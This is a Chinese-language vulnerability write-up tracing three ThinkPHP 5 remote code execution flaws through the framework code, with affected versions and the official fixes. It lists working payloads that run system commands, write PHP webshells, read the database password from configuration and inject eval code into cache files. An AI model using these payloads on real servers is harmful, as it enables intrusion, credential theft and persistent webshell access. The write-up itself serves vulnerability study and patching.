前言
前几天把TP5的SQL注入漏洞总结跟踪了一遍,今儿把TP5系列的RCE漏洞再跟踪总结一下,方便以后自查备用,也学习一下TP5框架下的一些不安全过滤以及挖掘RCE漏洞的方法。
未开启强制路由导致RCE
该版本漏洞由于默认情况下未开启强制路由(url_route_must
)以及开启兼容模式(var_pathinfo'=>'s'
),我们可以通过TP的路由方式?s=index/[任意控制器]/[控制器任意操作(函数)]
来调用控制器(类)的操作(函数),且由于在解析URL以及获取控制器的过程中(routeCheck、check、checkRoute、parseURL),对控制器没有进行合法性检测和过滤,导致可以调用任意控制器(类)的任意操作(函数),从而调用到一些具有敏感函数如call_user_func(_array)?
、eval
、file_put_contents
...的控制器类的方法。
调试的话建议从框架加载的App:run()
开始跟踪,然后一步步分析。
影响
- 5.0.7 <= ThinkPHP5 <= 5.0.22
- 5.1.0 <= ThinkPHP <= 5.1.30
在5.0.7版本以下,解析控制器路径的时候会拼接app\index\controller\
,因此限定控制器必须为application\index\controller
目录下的控制器,因此不存在漏洞。
5.0.22以上的版本,增加了过滤,见修复
payload
TP5.0.x和TP5.1.x部分payload可能不同,因为两个版本的控制器类可能有所不同,但是payload形式一致,具体的控制器类危险方法的调用具体分析、挖掘。注意,window下路径模式严格区分大小写,而在加载相应的控制器文件时会将控制器转为小写并拼接.php
来包含加载,因此在window下部分payload受限,如果要测试的话,需要将\think\Loader::autoload
方法中的这段注释掉.
// Win环境严格区分大小写
if (IS_WIN && pathinfo($file, PATHINFO_FILENAME) != pathinfo(realpath($file), PATHINFO_FILENAME)) {
return false;
}
形式
?s=index/[控制器类]/[类方法]&[参数1]=xxx&[参数2]=xxx
注意这里的参数名需要和类方法定义的参数名一致,否则无法执行。因为底层获取方法参数用的是php的反射来获取的。具体可以调试看看。
payload汇总
注意部分payload的控制器类在x
版本可能没有。就不写这么仔细了。寻找任意类的任意方法时有以下限制条件
- 任意控制类的构造方法必须是public,否则在反射获取控制类时
$reflect->newInstanceArgs($args);
会报错non-public
,比如在5.0.8版本的\think\Request
,其构造方法为protected
,无法利用 - 所调用的任意方法必须是
public
修饰的,否则报错找不到方法
5.0.x
- RCE
# call_user_func
?s=index/\think\Request/input&filter[]=system&data=calc
# eval
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
- Webshell
# file_put_contents
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
- 其他
# 获取配置信息
?s=index/think\config/get&name=database.password # 数据库密码data.xxx
?s=index/think\config/get&name=log.path # 日志文件
# 包含任意文件
?s=index/\think\Lang/load&file=../../test.jpg
# 包含任意.php文件
?s=index/\think\Config/load&file=../../t.php
可能还有其他的Sink甚至配合组合拳,可以自行寻找,可以考虑任意文件读写、RCE、eval、反序列化、文件包含等。
5.1.x
- RCE
# call_user_func
?s=index/\think\Request/input&filter[]=system&data=calc
# eval
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
# 反射 ReflectionFunction($function)->invokeArgs($args)
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
- webshell
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
漏洞分析
以这个payload为例,针对5.0.x版本的调用过程进行分析,至于5.1.x的分析,触发的逻辑在Module::exec
,跟一下即可
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
我们从最开始的App::run
来看,分析其解析URL中控制器到反射调用到任意控制器类的任意方法的整个流程。
断点打在thinkphp/start.php
的App::run()
,对于Class::Method()
这种形式,TP会经过一系列的自动类加载过程,然后调用到App
类的run
方法,在run方法中,一开始对app的整个请求配置进行初始化,然后调用$dispatch = self::routeCheck($request, $config);
来检测路由
跟进看一下,处理$path
(URL的s字段值)和$request
后,继续调用$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
来检测路由
继续处理$path
,将其用|
分割为模块(application下的index
)、控制器、操作三个部分,并赋值给$url
,然后进一步调用self::checkRoute($request, $rules, $url, $depr);
进行检测
self::checkRoute
将返回false,然后再返回到routeCheck
方法中赋值给$result
,当result
为false时,会进行解析模块/控制器/操作/参数...
的解析
该parseUrl
方法为真正解析URL的方法,其分别解析模块、控制器、操作、参数,并封装给$route
变量,最后返回
然后结果会返回到run
函数中,并赋值给$dispatch
进行不同type
的任务调度
进入App:module
方法,进行模块初始化操作(这里是index
模块),同时获取并设置控制器、操作。然后进入Loader::controller
方法
在该方法中,会使用class_exists()
判断调用的控制器类是否存在,其实就是经过一次findFile
和autoload
的动态加载类过程。如果存在的话,则返回true,然后进入if,进入到App::invokeClass($class);
方法
在invokeClass
方法中,反射创建控制器类的实例对象,然后调用getConstructor()
方法获取构造函数,当构造函数存在时,则调用self::bindParams($constructor, $vars);
来获取构造函数的参数。最后调用$reflect->newInstanceArgs($args);
来生成控制器类的实例对象,若控制器的构造函数为非public,则调用该方法会报错
生成的控制器类的实例对象返回到module
方法赋值给$instance
,然后以[$instance, $action]
的形式来作为函数调用
然后进入到self::invokeMethod($call, $vars);
方法中,该方法用来处理最后控制器方法的调用
还是一样,调用self::bindParams
来获取控制器方法的同名参数(注意参数要和定义的同名),最后调用$reflect->invokeArgs()
,这样就进入到了控制器类的方法了,也就是我们这里的\think\view\driver\Php::display
至此,所有的分析也就结束了,主要原因还是在解析URL(parseUrl或其他方法)的时候没有对模板/控制器/操作
这种模式的URL中的控制器进行过滤或限制,从而导致任意调用。
修复
官方修复是在5.0.22和5.1.30之后,在\think\App::module
方法中增加了对控制器类的过滤
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
method任意调用方法导致RCE
这种类型的漏洞触发点在filterValue
,触发前通过Request::method
方法存在危险写法$this->{$this->method}($_POST)
导致调用到Request类中的任意方法,从而调用能够覆盖类属性的方法,进而在filterValue
中实现参数可控,最后由call_user_func
触发RCE。
影响
- 5.0.0 <= ThinkPHP5 <= 5.0.24
- 5.1.0 <= ThinkPHP5 <= 5.1.13
payload
(1)
# 5.0.0 <= v <= 5.0.12 无需开启debug
# 5.0.13 <= v <= 5.0.24 && 5.1.0 <= v <= 5.1.7 需要开启debug
?s=index/index
POST:
s=calc&_method=__construct&&filter[]=system
_method=__construct&filter[]=system&method=get&get[]=calc
c=system&f=calc&_method=filter
s=file_put_contents('shell.php','<?php phpinfo();')&_method=__construct&filter[]=assert # 写shell
(2)
# 5.0.13 <= v <= 5.0.24 captcha路由存在时,无需开启debug
# 5.1.0 <= v <= 5.1.13
?s=captcha/cmd # cmd可写可不写,写的话post再写则触发多次
POST:同上
(3)
# 5.0.21 <= v <= 5.0.24
?s=index/index
POST:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
分析
首先我们先提前说一下开启debug和不开启debug在代码执行流程上的区别
开启debug时,self::$debug
为true
,就会进入上述的if分支,然后执行$request->param()
,这里是触发RCE的一条路。
不开启debug时,那么就不会进入该分支,而只会执行self::exec()
,这是触发RCE的另一条路,并且这条路在不同的版本存在限制,但是可以借助其他路由如captcha
来绕过。
默认情况下,开启debug,无条件RCE。而未开启debug,需要根据版本以及是否具有可用的路由来绕过从而RCE
开启debug
版本5.0.8,使用这个payload带入去分析s=calc&_method=__construct&method=POST&filter[]=system
。
这里先在App::run
方法中下几个断点,发现在执行到Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
语句时会触发RCE,因此我们跟进$request->param()
方法看一下,然后会经过如下调用栈
最后在Request::filterValue()
方法中触发RCE。我们需要特别关注一下该方法,在Request
类中,param、route、get、post、put、delete、patch、request、session、server、env、cookie、input
方法均调用了 filterValue 方法。
现在我们需要回溯一下参数,看是否可控,根据array_wark_recusive
函数的用法,$data
若是数组,则其键值对对应filterValue函数的参数$key,$value
,而$filters
则为array_walk_recursive
的第三个参数$filter
,且$filter
会经过foreach
取值出来调用到call_user_func($filter, $value)
因此我们需要让$filter
为一个数组,该数组有一个值为system
,让$data
也为一个数组,该数组有一个值为calc
。对应着也就是payload
中的s=calc&filter[]=system
。
具体来看一下这些值是怎么赋值或者覆盖上去的。
跟踪可以发现,$filter
值来自于$this->filter
,而$data
的值来自于$this->param
。这两个变量都是类成员属性(关键!)
$this->filter
的值在进入param
方法时就已经有值了,而$this->param
是在$this->param = array_merge($this->get(false), $vars, $this->route(false));
语句中赋值的
调试可知,$this->filter
经过如下调用栈到method
方法
由于$method
为false,且$_POST[Config::get('var_method')]
默认为$_POST['_mmethod']
,而我们POST传入了_method=__CONSTRUCT
,所以进入到该分支,该分支存在一个危险的写法
$this->{$this->method}($_POST);
从而导致调用任意Request
类的任意方法,且参数完全可控。因此我们可以全局$this->filter
在当前页面找一下,发现
__construct
和filter
方法存在对$this->filter
的赋值操作
__construct
方法
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
//任意类属性覆盖
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
property_exists满足的合法属性有
protected $get protected static $instance;
protected $post protected $method;
protected $request protected $domain;
protected $route protected $url;
protected $put; protected $baseUrl;
protected $session protected $baseFile;
protected $file protected $root;
protected $cookie protected $pathinfo;
protected $server protected $path;
protected $header protected $routeInfo
protected $mimeType protected $env;
protected $content; protected $dispatch
protected $filter; protected $module;
protected static $hook protected $controller;
protected $bind protected $action;
protected $input; protected $langset;
protected $cache; protected $param
protected $isCheckCache;
所以我们能够轻易覆盖任何类属性,包括这里的$this->filter
。
filter
方法:该方法只能覆盖$this->filter
public function filter($filter = null)
{
if (is_null($filter)) {
return $this->filter;
} else {
$this->filter = $filter;
}
}
这里也就对应的payload
c=system&f=calc&_method=filter
而对于$this-param
的处理,就是将GET和POST方法从属性值对转为数组的键值对赋值给$this->param
。因此,我们只需在POST方法中设置任意键名的键值对s=calc
,即可在循环解析$data
中触发RCE
不开启debug
上面分析了开启debug情况下的RCE,在进入第一个Request::param
时即可触发,但是实际上,会发现RCE触发了两次,也就是说,在后面还会有一次RCE的触发,前面也说到了是在self::exec($dispatch, $config);
中触发,因此在某些版本中不依赖于debug模式。在5.0.13版本中,稍有修改,无法直接触发RCE,但是可以利用官方增加的验证码路由来RCE,该路由需要添加依赖"topthink/think-captcha": "^1.0"
版本:TP<=5.0.12
其实也很简单,直接贴一下调用栈,细节再解释。
可以看到两个case分支都直接调用了Request::instance()->param()
,而module
这个case,经过如下调用栈也会调用到param
方法
版本:TP>=5.0.13
会发现payload打不了。原因是在module
的分支下,新增了一条清空$this->filter
的语句,在App.php的554行
$request->filter($config['default_filter']);
这样我们前面经过self::routeCheck
的调用栈覆盖的类属性$this->filter
就被置为空了,因此就无法RCE
这里绕过的方式是,想办法进入其他的case,如controller
或者method
这两个case,而case又跟参数$dispatch['type']
有关,回溯一下可以发现。经过如下调用栈,在parseRule
方法中可以确定路由的类型
这样看还是没办法看出来,需要自己跟一跟
从宏观的角度,TP的几种路由类型如下,摘自@七月火师傅文章
所以这里的?s=captcha
属于路由到方法。因此我们就可以进入method
的分支从而绕过$this->filter
的清空了。
修复
在TP5.0.24版本之后,官方在$this->{$this->method}($_POST)
这个调用前增加了白名单校验,防止了调用Request
类的任意方法来对类变量进行覆盖。
而在更新的TP5.1.x版本中,代码有大部分重构,在Request::Method
方法中,虽然$this->{$this->method}($_POST)
前没有白名单校验,但是删去了__construct
中的任意类变量覆盖,从而$this->method
的值无法控制,在这之前的版本,$this->method
的值并不会影响RCE,但是该版本之后,在RuleGroup::getMethodRules
方法中,由于$this->rules[$method]
的$this->rules
的值默认以下,因此$this->rules[$this->method]
不存在,导致报错。目前还没找到可以覆盖$this->method
或$this->rules
的调用链。
缓存类RCE
本次漏洞存在于 ThinkPHP 的缓存类中。该类会将序列化化后的数据直接拼接并存储在 .php 文件中, 如果存在一个缓存页面,其数据用户可控,即可将 webshell 写入缓存文件。当得知默认缓存目录以及缓存名称时可以计算出缓存文件路径,一旦缓存目录可访问或结合任意文件包含漏洞,即可getshell。漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10 。
影响
- 5.0.0<=ThinkPHP5<=5.0.10
payload
?username=test%0d%0a@eval($_REQUEST[diggid]);//
漏洞分析
在application/index/controller/Index.php写入如下漏洞页面。
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username")); // get.xxx <=> ?xxx=
return 'Cache success';
}
}
根据我们所写的漏洞测试页面,直接跟进到Cache::set
方法。该方法中,使用单例模式self::init();
初始化一个缓存驱动,跟进看一下
获取到的缓存信息如下,默认获取的缓存驱动是\think\cache\driver\File
,由 cache 的配置项 type 决定,默认情况下其值为 File 。可以在下图中得知其他类型的缓存驱动
初始化File
缓存驱动对象后,调用该类的set
方法,该方法中,序列化了我们传入的$data
数据,并进行拼接,尽管前面的拼接使用了//
注释,但我们可以使用%0d%0a
换行绕过,而后的垃圾字符再用注释绕过即可。对于序列化后的数据$data
,由于$this->options['data_compress']
默认为false
,因此不会被gzcompress
,然后写入缓存文件中。
现在回溯来看一下$filename
缓存文件名的处理过程。定位到$filename = $this->getCacheKey($name);
,这里的$name
是我们在漏洞页面设置的缓存名Cache::set("name",xxx)
,即name
。可以看到,先对name
计算md5,然后由于默认开启$this->options['cache_substr']
,于是截取md5("name")
的前两个字符即b0
作为子目录名,父目录为$this->options['path']
默认设置的运行时目录\runtime\cache
,剩下的部分拼接.php
作为参数名,因此最后得到的缓存文件路径为
\runtime\cache\b0\68931cc450442b63f5b3d276ea4297.php
当我们得知Cache::set("name",xxx)
设置的缓存名,以及$this->options['path']
设置的缓存目录后,可以轻松的得到我们写入的webshell的路径,配合文件包含或可直接访问的话即可getshell
修复
将$data
序列化数据拼接在exit();
之后。